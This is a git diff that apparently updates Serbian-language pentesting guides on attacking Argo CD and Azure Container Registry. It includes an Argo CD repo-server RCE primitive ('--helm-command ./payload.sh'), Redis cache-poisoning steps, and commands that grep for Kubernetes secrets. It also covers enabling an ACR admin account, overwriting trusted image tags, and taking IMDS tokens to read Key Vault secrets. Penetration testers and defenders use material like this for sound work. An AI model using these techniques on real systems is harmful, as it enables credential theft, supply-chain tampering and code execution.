diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index 4c7d15a2a..000000000 Binary files a/scripts/__pycache__/translator.cpython-312.pyc and /dev/null differ diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index 493f17b08..60818014f 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -4,16 +4,16 @@ ## Osnovne informacije -[Argo CD](https://argo-cd.readthedocs.io/) je GitOps platforma za kontinuiranu isporuku za Kubernetes. Ona prati Git repozitorijume, renderuje Kubernetes manifeste pomoću alata kao što su Helm, Kustomize, Jsonnet ili config management plugins, i usklađuje trenutno stanje clustera sa željenim stanjem sačuvanim u Git-u. +[Argo CD](https://argo-cd.readthedocs.io/) je GitOps platforma za kontinuiranu isporuku za Kubernetes. Prati Git repozitorijume, renderuje Kubernetes manifeste pomoću alata kao što su Helm, Kustomize, Jsonnet ili plugins za upravljanje konfiguracijom, i usklađuje trenutno stanje klastera sa željenim stanjem sačuvanim u Git-u. -Iz perspektive napadača, tretirajte Argo CD kao **deployment engine sa Kubernetes credentials**. Korisna kompromitacija Argo CD-a može dovesti do: +Iz perspektive napadača, Argo CD treba posmatrati kao **deployment engine sa Kubernetes credentials**. Uspešan kompromis Argo CD-a može dovesti do: -- Pristupa privatnim Git repozitorijumima i credentials za repozitorijume. -- Pristupa Kubernetes cluster secrets koje koristi Argo CD. -- Izvršavanja koda za generisanje manifesta u `argocd-repo-server`. +- Pristupa privatnim Git repozitorijumima i credentials repozitorijuma. +- Pristupa Kubernetes secrets koje koristi Argo CD. +- Izvršavanja koda tokom generisanja manifesta u `argocd-repo-server`. - Neovlašćenog deployment-a Kubernetes objekata kroz pouzdane Git repozitorijume, Argo CD aplikacije ili manipulaciju cache-om. -## Arhitektura i interesantne komponente +## Arhitektura i zanimljive komponente Uobičajeni Kubernetes objekti i servisi: ```bash @@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null ``` Zanimljive usluge: -- **`argocd-server`**: javni API, web UI, CLI API, autentikacija i autorizacija. -- **`argocd-application-controller`**: poredi željeno i aktivno stanje, zatim primenjuje resurse na Kubernetes. +- **`argocd-server`**: javni API, web UI, CLI API, autentifikacija i autorizacija. +- **`argocd-application-controller`**: upoređuje željeno i trenutno stanje, a zatim primenjuje resurse na Kubernetes. - **`argocd-repo-server`**: klonira repozitorijume, kešira Git podatke i pokreće Helm/Kustomize/Jsonnet/plugins za generisanje manifesta. Podrazumevani gRPC port je **8081**. -- **`argocd-redis`**: keš za application, manifest i Git reference podatke. Podrazumevani Redis port je **6379**. -- **`argocd-applicationset-controller`**: generiše Argo CD `Application` objekte iz generatora kao što su Git, SCM, clusters i pull requests. +- **`argocd-redis`**: keš za podatke o aplikacijama, manifestima i Git referencama. Podrazumevani Redis port je **6379**. +- **`argocd-applicationset-controller`**: generiše Argo CD `Application` objekte pomoću generatora kao što su Git, SCM, klasteri i pull request-ovi. -Iz kompromitovanog pod-a ili internog network segmenta, proverite internu dostupnost: +Iz kompromitovanog poda ili internog segmenta mreže proverite internu dostupnost: ```bash nc -vz 443 nc -vz 8081 nc -vz 6379 ``` -## Public API / UI Attacks +## Napadi na javni API / UI -Ako imate Argo CD credentials ili exposed instancu, počnite sa normalnom API površinom: +Ako imate Argo CD credentials ili izloženu instancu, počnite sa uobičajenom API površinom: ```bash argocd login argocd account get-user-info @@ -49,15 +49,15 @@ argocd repo list argocd cluster list argocd admin settings rbac can ``` -Korisne attack paths: +Korisni napadni putevi: -- **Application write access**: izmeni `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings ili sync options tako da Argo CD deploy-uje manifests pod kontrolom napadača. -- **Project misconfiguration**: `AppProject` objekti mogu dozvoliti široke `sourceRepos`, široke `destinations`, nesigurne `clusterResourceWhitelist` ili slabe namespace restrikcije. -- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys i tokens mogu omogućiti push u trusted repos ili dodavanje malicious dependencies. -- **Cluster credential abuse**: cluster secrets mogu sadržati bearer tokens ili exec-provider configuration koje Argo CD koristi za deploy u target clusters. -- **Local admin / project tokens**: dugotrajni Argo CD tokens mogu se ponovo koristiti kroz API osim ako nisu revoked ili expired. +- **Application write access**: izmenite `source.repoURL`, `source.path`, Helm vrednosti, Kustomize opcije, podešavanja plugin-a ili sync opcije tako da Argo CD deploy-uje manifeste pod kontrolom napadača. +- **Project misconfiguration**: `AppProject` objekti mogu dozvoliti široke `sourceRepos`, široke `destinations`, nesiguran `clusterResourceWhitelist` ili slaba ograničenja namespace-a. +- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys i tokens mogu omogućiti push u pouzdane repo-e ili dodavanje malicioznih dependencies. +- **Cluster credential abuse**: cluster secrets mogu sadržati bearer tokens ili exec-provider konfiguraciju koju Argo CD koristi za deploy u ciljne klastere. +- **Local admin / project tokens**: dugotrajni Argo CD tokens mogu se ponovo koristiti putem API-ja ako nisu opozvani ili im nije istekao rok. -Enumeriši configuration iz Kubernetes kada imaš cluster read access: +Enumerišite konfiguraciju iz Kubernetes-a kada imate read access nad klasterom: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` -## Trusted Git Repository Abuse +## Zloupotreba pouzdanog Git repozitorijuma -Ako možete da push-ujete u repository kome Argo CD veruje, obično možete uticati na to šta se deploy-uje. Uticaj zavisi od granica `AppProject` i permissions service account-a koje koristi application controller. +Ako možete da izvršite push u repozitorijum kojem Argo CD veruje, obično možete da utičete na ono što se deploy-uje. Uticaj zavisi od granica `AppProject` objekta i dozvola service account-a koje koristi application controller. Uobičajene lokacije za payload: -- Raw Kubernetes YAML unutar application path-a. -- Helm chart templates i `values.yaml`. +- Neobrađeni Kubernetes YAML unutar putanje aplikacije. +- Helm chart template-i i `values.yaml`. - Kustomize overlays, remote bases i generators. -- Jsonnet ili input za config management plugin. -- ApplicationSet generator files koji kreiraju ili ažuriraju `Application` objects. +- Jsonnet ili ulazni podaci config management plugin-a. +- Datoteke generatora za ApplicationSet koje kreiraju ili ažuriraju `Application` objekte. -Proverite da li app koristi automated sync, pruning, self-heal, sync windows ili manual approvals: +Proverite da li aplikacija koristi automated sync, pruning, self-heal, sync windows ili manual approvals: ```bash kubectl get applications.argoproj.io -A \ -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` ## Direktna zloupotreba `argocd-repo-server` -Ne pretpostavljajte da je javni Argo CD API jedina attack surface. Interni Argo CD komponente komuniciraju sa `argocd-repo-server` preko gRPC. Ako arbitrary pods mogu da dosegnu repo-server, attacker-controlled interni requests mogu da zaobiđu provere koje normalno sprovodi `argocd-server`. +Ne pretpostavljajte da je javni Argo CD API jedina attack surface. Interni Argo CD komponente komuniciraju sa `argocd-repo-server` putem gRPC-a. Ako proizvoljni podovi mogu da pristupe repo-serveru, zahtevi iz interne mreže pod kontrolom napadača mogu zaobići provere koje obično sprovodi `argocd-server`. Praktične provere: ```bash @@ -92,60 +92,60 @@ kubectl get svc -n argocd argocd-repo-server -o yaml kubectl get endpoints -n argocd argocd-repo-server -o wide nc -vz 8081 ``` -Zanimljivi znaci: +Zanimljivi pokazatelji: -- `repo-server` gRPC endpoint je dostupan sa non-Argo CD podova. -- `NetworkPolicies` nedostaju ili dozvoljavaju samo allow-list egress bez deny-ing ingress. -- `repo-server` ima pristup custom config management plugins, decryption tools, ili repository content od više tenant-a. -- Redis je dostupan sa non-Argo CD podova, što omogućava inspection ili tampering cache-a ako su credentials dostupni ili nisu potrebni. +- gRPC endpoint za repo-server dostupan je iz podova koji nisu Argo CD. +- NetworkPolicies nedostaju ili dozvoljavaju samo allow-list egress saobraćaja, bez zabrane ingress saobraćaja. +- repo-server ima pristup custom config management plugins, alatima za decryption ili sadržaju repozitorijuma iz više tenant-a. +- Redis je dostupan iz podova koji nisu Argo CD, što omogućava inspection ili tampering keša ako su credentials dostupni ili nisu potrebni. ## Unauthenticated Repo-Server RCE via Kustomize Options -U julu 2026, Synacktiv je objavio unauthenticated code execution chain u Argo CD `repo-server` kada attacker može da dosegne interni gRPC servis. Napad zloupotrebljava direct access na `/repository.RepoServerService/GenerateManifest` i attacker-controlled `KustomizeOptions`. +U julu 2026, Synacktiv je otkrio unauthenticated code execution lanac u Argo CD-u kada napadač može da pristupi internom gRPC servisu. Napad zloupotrebljava direktan pristup endpointu `/repository.RepoServerService/GenerateManifest` i `KustomizeOptions` koje kontroliše napadač. -Opasna primitive je forsiranje `repo-server` da clone-uje attacker-controlled repository content i pokrene Kustomize sa Helm support: +Opasni primitive je prisiljavanje repo-server-a da klonira sadržaj repozitorijuma koji kontroliše napadač i pokrene Kustomize sa podrškom za Helm: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -Minimalni malicious Kustomize ulaz treba da pokrene Helm obradu: +Minimalni zlonamerni Kustomize input mora da pokrene Helm processing: ```yaml helmCharts: - name: pwn version: 0.0.1 ``` -Zašto ovo radi: +Zašto ovo funkcioniše: - `argocd-repo-server` klonira repository pre renderovanja. -- `--helm-command ./payload.sh` se rešava relativno u odnosu na klonirani repository. -- Code execution ne zahteva shell metacharacter injection ako napadač može da kontroliše rendered repository i Kustomize build options. +- `--helm-command ./payload.sh` se razrešava relativno u odnosu na klonirani repository. +- Code execution ne zahteva injection shell metakaraktera ako attacker može da kontroliše renderovani repository i Kustomize build opcije. -U vreme Synacktiv-ovog otkrivanja 1. jula 2026, prijavili su da issue nema official fix niti CVE. Ovo prvo tretirajte kao network-exposure issue: exploitation zahteva dostupnost internog repo-server gRPC porta. +U vreme Synacktiv-ovog otkrivanja od 1. jula 2026, prijavili su da problem nije imao zvaničnu ispravku niti CVE. Ovo najpre tretirajte kao problem izloženosti mreži: exploitation zahteva dostupnost internom repo-server gRPC portu. ## Redis Cache Poisoning za Deploy Manifests -Nakon code execution u `argocd-repo-server`, ili nakon direktnog pristupa Redis-u sa validnim credentials, pregledajte Redis-backed cache entries. Argo CD obično čuva gzip-compressed JSON values. +Nakon code execution-a u `argocd-repo-server`-u ili nakon direktnog pristupa Redis-u sa validnim credentials, pregledajte Redis-backed cache entries. Argo CD obično čuva gzip-compressed JSON vrednosti. -Zanimljivi key prefixes: +Zanimljivi key prefiksi: ```text mfst|... # cached rendered manifests git-refs|... # Git branch/ref to commit mappings app|... # application resource/cache data cluster|... # cluster cache information ``` -Napad trovanja cache-a opisan od strane Synacktiv zloupotrebljava dve stavke stanja: +The cache poisoning attack koji je opisao Synacktiv zloupotrebljava dva dela state-a: -1. Izmeni odgovarajući `mfst|...` cache entry manifesta tako da uključi Kubernetes manifest pod kontrolom napadača. -2. Izmeni povezani `git-refs|...` mapping tako da Argo CD poveruje da se branch pomerio, a zatim se reconciles nazad na cached revision. +1. Izmeniti relevantni `mfst|...` manifest cache entry tako da uključuje Kubernetes manifest pod kontrolom napadača. +2. Izmeniti povezano `git-refs|...` mapiranje kako bi Argo CD poverovao da je branch promenjen, a zatim izvršio reconciliation nazad na cached revision. -Uticaj: +Impact: -- Sa uključenim Auto Sync, Argo CD može automatski da primeni poisoned cached manifest. -- Bez Auto Sync, payload se i dalje može primeniti kada korisnik ručno sync-uje aplikaciju. -- Konačni uticaj je ograničen destination-om ciljne aplikacije i Kubernetes permissions dostupnim Argo CD-u. +- Kada je Auto Sync omogućen, Argo CD može automatski da primeni poisoned cached manifest. +- Bez Auto Sync-a, payload se i dalje može primeniti kada korisnik ručno sync-uje application. +- Konačni impact ograničen je destination-om ciljne application i Kubernetes permissions dostupnim Argo CD-u. ## ApplicationSet Attacks -ApplicationSet je posebno osetljiv jer kreira ili ažurira `Application` objekte na osnovu generator output-a. +ApplicationSet je posebno osetljiv zato što kreira ili ažurira `Application` objekte na osnovu generator output-a. Review: ```bash @@ -154,15 +154,15 @@ kubectl get appprojects.argoproj.io -A -o yaml ``` Zanimljivi obrasci: -- Git generators koji čitaju fajlove koje napadač može da menja i koji kontrolišu nazive aplikacija, paths, projekte ili destinacije. -- Pull request generators za javne repozitorijume gde nepouzdani saradnici mogu da utiču na generisane aplikacije. -- Template fields koji dozvoljavaju široke destination cluster/namespace. -- AppProjects koji dozvoljavaju `sourceRepos: ["*"]` ili široke `destinations`. +- Git generatori koji čitaju fajlove koje napadač može da menja, a koji kontrolišu nazive aplikacija, putanje, projekte ili odredišta. +- Pull request generatori za javne repozitorijume, gde nepouzdani saradnici mogu da utiču na generisane aplikacije. +- Polja šablona koja omogućavaju široko definisane destination klastere/namespace-ove. +- AppProjects koji dozvoljavaju `sourceRepos: ["*"]` ili široko definisana `destinations`. - Generisane aplikacije koje nasleđuju automated sync i pruning. ## Post-Exploitation -Iz Argo CD pod shell-a, prioriteti su: +Iz Argo CD pod shell-a, prioritet dajte: ```bash env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' @@ -172,23 +172,23 @@ mount | grep -E 'secret|token|config' Korisni ciljevi: - Ukrasti `REDIS_PASSWORD` ili Redis TLS/client materijal. -- Izvući kredencijale repozitorijuma iz mounted secrets ili Argo CD Kubernetes secrets. -- Identifikovati cluster kredencijale koje koristi Argo CD. -- Čitati generisane manifests i output pluginova koji mogu sadržati injected secrets. -- Proveriti da li custom plugins, SOPS, Helm secrets, Vault plugins ili cloud CLIs otkrivaju decryption keys i cloud kredencijale. +- Izdvojiti akreditive repozitorijuma iz montiranih secrets ili Argo CD Kubernetes secrets. +- Identifikovati cluster akreditive koje koristi Argo CD. +- Pročitati generisane manifeste i izlaz plugin-a koji mogu sadržati ubačene secrets. +- Proveriti da li custom plugins, SOPS, Helm secrets, Vault plugins ili cloud CLI-ji izlažu ključeve za dešifrovanje i cloud akreditive. -## Detection & Hardening +## Detekcija i ojačavanje bezbednosti Važne provere: -- Ograničiti `argocd-repo-server` port **8081** i Redis port **6379** sa NetworkPolicies tako da im mogu pristupiti samo očekivane Argo CD komponente. -- U Helm deploymentima proveriti da li su network policies zaista kreirane. Argo CD Helm chart values su istorijski podrazumevano imali isključeno kreiranje component network policy-ja. -- Držati `argocd-server` kao autentifikovani ulazni punkt. Interni servisi ne bi smeli biti dostupni proizvoljnim workload-ovima. -- Isključiti neiskorišćene config management alate i pluginove. +- Ograničiti `argocd-repo-server` port **8081** i Redis port **6379** pomoću NetworkPolicies tako da im mogu pristupiti samo očekivane Argo CD komponente. +- Kod Helm deployments proveriti da li se NetworkPolicies zaista kreiraju. Vrednosti Argo CD Helm chart-a su istorijski podrazumevano onemogućavale kreiranje network policy-ja za komponente. +- Zadržati `argocd-server` kao autentifikovanu ulaznu tačku. Interni servisi ne bi trebalo da budu dostupni proizvoljnim workload-ima. +- Onemogućiti nekorišćene config management alate i plugin-e. - Ograničiti `AppProject` `sourceRepos`, `destinations`, namespace permissions i cluster-scoped resources. -- Izbegavati čuvanje širokih repository kredencijala tamo gde low-privileged Argo CD user može da izazove njihovu ponovnu upotrebu. -- Nadzirati repo-server zahteve, Kustomize build options, plugin izvršavanja, Redis writes i neočekivan pristup `mfst|` / `git-refs|` ključevima. -- Rotirati Argo CD local users, project tokens, repository kredencijale i cluster kredencijale nakon compromise. +- Izbegavati čuvanje široko privilegovanih akreditiva repozitorijuma tamo gde Argo CD korisnik sa niskim privilegijama može izazvati njihovu ponovnu upotrebu. +- Nadgledati repo-server zahteve, Kustomize build opcije, izvršavanja plugin-a, Redis upise i neočekivani pristup ključevima `mfst|` / `git-refs|`. +- Rotirati Argo CD local users, project tokene, akreditive repozitorijuma i cluster akreditive nakon kompromitovanja. Korisne komande: ```bash @@ -197,23 +197,24 @@ kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Static Analysis Note: Typed API Requests in CodeQL +## Napomena o statičkoj analizi: tipizovani API zahtevi u CodeQL-u -Za Go services koji koriste gRPC/REST handlers, podrazumevani CodeQL remote sources mogu propustiti flows kada se raw input jednom unmarshaluje u typed request objects. Koristan model za Argo CD-style services je: +Za Go servise koji koriste gRPC/REST handlere, podrazumevani CodeQL remote sources mogu da propuste tokove nakon što se sirovi ulaz unmarshaluje u tipizovane request objekte. Koristan model za servise u stilu Argo CD-a je: -- Receiver type kao `Server` ili `Service`. -- Prvi parameter je `context.Context`. -- Drugi parameter je typed request object. +- Tip receiver-a, kao što je `Server` ili `Service`. +- Prvi parametar je `context.Context`. +- Drugi parametar je tipizovani request objekat. -Modeluj taj drugi parameter kao remote source i dodaj custom sinks za `exec.Command` / `exec.CommandContext` arguments. Ovo pomaže da se pronađu flows od internih API request fields do command execution helpers. +Modelujte taj drugi parametar kao remote source i dodajte prilagođene sink-ove za argumente funkcija `exec.Command` / `exec.CommandContext`. Ovo pomaže u pronalaženju tokova od polja internih API request-ova do pomoćnih funkcija za izvršavanje komandi. -## References +## Reference - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) -- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) -- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) -- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) +- [Argo CD dokumentacija - Bezbednosna razmatranja](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) +- [Argo CD dokumentacija - Visoka dostupnost](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) +- [Argo CD dokumentacija - repo-server referenca komandi](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) - [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) -- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) -- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) -- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +- [Argo CD dokumentacija - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) +- [Argo Helm - referenca vrednosti chart-a](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) +- [Kustomize - primer generatora Helm chart-a](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..4d6261f59 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Az - Container Registry Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Za više informacija o ovom servisu pogledajte: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +Identitet sa ACR pristupom management-plane-u može taj pristup pretvoriti u **ponovo upotrebljive Docker kredencijale**. Ako je **admin user** onemogućen, ali principal takođe ima `registries/write`, omogućite ga, preuzmite lozinke i direktno se autentifikujte na `.azurecr.io`. +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +Ovo je korisno zato što se pronađeni kredencijali mogu ponovo koristiti izvan Azure CLI-ja za **izlistavanje, preuzimanje, slanje, prepisivanje i ponekad brisanje** sadržaja registry-ja sve dok se administratorski nalog ne onemogući ili se lozinke ne promene. + +### `Microsoft.ContainerRegistry/registries/pull/read` + +Koristite pull pristup za **izviđanje repozitorijuma** i **secret hunting** unutar image-a. Pregledajte i konačnu konfiguraciju kontejnera i istorijske filesystem slojeve, jer fajlovi kopirani u jednom sloju mogu ostati recoverable čak i ako su kasnije obrisani. +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +Ciljevi visoke vrednosti uključuju **promenljive okruženja**, **konfiguracije aplikacija**, **deployment skripte**, **sertifikate**, **pristupne tokene** i **connection strings**. Za još ideja tokom pregleda layer-a, pogledajte stranicu Docker forensics: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +Push pristup napadaču omogućava da **otruje pouzdane repozitorijume** ili **prepiše promenljive tagove** kao što su `latest`, `prod` ili `stable`. Svaki workload koji se i dalje deployuje pomoću taga umesto digest-a može da preuzme napadačev image pri sledećem deployment-u, događaju horizontalnog skaliranja ili restartu. +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +Pre zamene taga, proverite koje repozitorijume i tagove downstream workloads zaista koriste. **Digest-pinned** konzumenti (`@sha256:...`) se mnogo teže preusmeravaju nego konzumenti zasnovani na tagovima. + +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` + +Ako možete i da **zamenite image** koji koristi downstream container workload i da **restartujete** taj workload, maliciozni entrypoint se izvršava unutar **network i managed identity konteksta** ciljnog containera. Odatle image može da zatraži tokene od IMDS-a i pristupi Azure resursima dostupnim toj workload identity. +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +Ovo pretvara overwrite ACR taga u **code execution**, **secret theft** ili **lateral movement** unutar bilo kog container consumer-a koji veruje izmenjenom tagu i izlaže koristan identity. + +### Povezana privesc putanja: ACR Tasks managed identities + +Ako takođe posedujete `Microsoft.ContainerRegistry/registries/tasks/write` i `Microsoft.ContainerRegistry/registries/runs/write`, pređite na ACR privesc putanju i direktno zloupotrebite managed identity task-a: + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## Reference + +- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 2e3f093f8..d71f6937d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -2,39 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Osnovne informacije -Azure Container Registry (ACR) je siguran, private registry koji omogućava da **store, manage, and access container images in the Azure cloud**. Integrates se bez problema sa nekoliko Azure services, providing automated build and deployment workflows at scale. Sa features kao što su geo-replication i vulnerability scanning, ACR pomaže da se obezbedi enterprise-grade security i compliance za containerized applications. +Azure Container Registry (ACR) je bezbedan, privatni registry koji vam omogućava da **skladištite, upravljate i pristupate slikama kontejnera u Azure cloud-u**. Besprekorno se integriše sa nekoliko Azure servisa, obezbeđujući automatizovane tokove za build i deployment u velikom obimu. Uz funkcije kao što su geo-replikacija i skeniranje ranjivosti, ACR pomaže u obezbeđivanju bezbednosti i usklađenosti na nivou preduzeća za kontejnerizovane aplikacije. -### Permissions +### Dozvole -Ovo su **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje mogu biti dodeljene nad Container Registry: +Ovo su **različite dozvole** [prema dokumentaciji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje mogu biti dodeljene nad Container Registry-jem: -- Access Resource Manager -- Create/delete registry -- Push image -- Pull image -- Delete image data -- Change policies -- Sign images +- Pristup Resource Manager-u +- Kreiranje/brisanje registry-ja +- Push image-a +- Pull image-a +- Brisanje podataka image-a +- Menjanje politika +- Potpisivanje image-a -Postoje i neke **built-in roles** koje mogu biti dodeljene, a takođe je moguće kreirati **custom roles**. +Takođe postoje neke **ugrađene uloge** koje mogu biti dodeljene, a moguće je kreirati i **custom uloge**. -![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) +![Matrica dozvola ugrađenih Azure Container Registry uloga za upravljanje registry-jem, image-ovima, podacima, politikama i radnjama potpisivanja](/images/registry_roles.png) -### Authentication +### Autentikacija > [!WARNING] -> Veoma je imporatantno da čak i ako ime registry-ja sadrži neka velika slova, uvek treba koristiti **lowercase letters** za login, push i pull images. +> Veoma je važno da, čak i ako naziv registry-ja sadrži velika slova, uvek koristite **mala slova** za login, push i pull image-ova. -Postoje 4 načina da se autentifikuješ na ACR: +Postoje 4 načina za autentikaciju na ACR: -- **With Entra ID**: Ovo je **default** način za autentifikaciju na ACR. Koristi **`az acr login`** command za autentifikaciju na ACR. Ovaj command će **store credentials** u datoteku **`~/.docker/config.json`**. Takođe, ako ovaj command pokrećeš iz environment bez pristupa docker socket-u kao u **cloud shell**, moguće je koristiti flag **`--expose-token`** da dobiješ **token** za autentifikaciju na ACR. Zatim, da bi se autentifikovao, treba da koristiš korisničko ime `00000000-0000-0000-0000-000000000000` kao: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **With an admin account**: Admin user je podrazumevano disabled, ali može biti enabled i tada će biti moguće pristupiti registry-ju koristeći **username** i **password** admin account-a sa punim permissions nad registry-jem. Ovo je i dalje supported zato što ga koriste neke Azure services. Imaj na umu da se za ovog user-a kreiraju **2 passwords** i oba su validna. Možeš ga enable-ovati pomoću `az acr update -n --admin-enabled true`. Imaj na umu da je username obično ime registry-ja (a ne `admin`). -- **With a token**: Moguće je kreirati **token** sa specifičnim **`scope map`** (permissions) za pristup registry-ju. Zatim je moguće koristiti ime tokena kao username i bilo koju od generisanih lozinki za autentifikaciju na registry pomoću `docker login -u -p ` -- **With a Service Principal**: Moguće je kreirati **service principal** i dodeliti mu role kao što je **`AcrPull`** za pull images. Zatim će biti moguće **login to the registry** koristeći SP appId kao username i generisani secret kao password. +- **Pomoću Entra ID-ja**: Ovo je **podrazumevani** način autentikacije na ACR. Koristi komandu **`az acr login`** za autentikaciju na ACR. Ova komanda će **sačuvati kredencijale** u fajl **`~/.docker/config.json`**. Pored toga, ako ovu komandu pokrećete iz okruženja bez pristupa Docker socket-u, kao što je **cloud shell**, moguće je koristiti flag **`--expose-token`** za dobijanje **tokena** za autentikaciju na ACR. Zatim, za autentikaciju, kao korisničko ime treba koristiti `00000000-0000-0000-0000-000000000000`, na primer: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Pomoću admin naloga**: Admin korisnik je podrazumevano onemogućen, ali se može omogućiti, nakon čega će biti moguće pristupiti registry-ju pomoću **korisničkog imena** i **lozinke** admin naloga sa punim dozvolama nad registry-jem. Ovo je i dalje podržano jer ga neki Azure servisi koriste. Imajte na umu da se za ovog korisnika kreiraju **2 lozinke** i da su obe važeće. Možete ga omogućiti pomoću `az acr update -n --admin-enabled true`. Imajte na umu da je korisničko ime obično naziv registry-ja (a ne `admin`). +- **Pomoću tokena**: Moguće je kreirati **token** sa određenim **`scope map`-om** (dozvolama) za pristup registry-ju. Zatim je moguće koristiti naziv tokena kao korisničko ime i bilo koju od generisanih lozinki za autentikaciju na registry-ju pomoću `docker login -u -p ` +- **Pomoću Service Principal-a**: Moguće je kreirati **service principal** i dodeliti mu ulogu kao što je **`AcrPull`** za pull 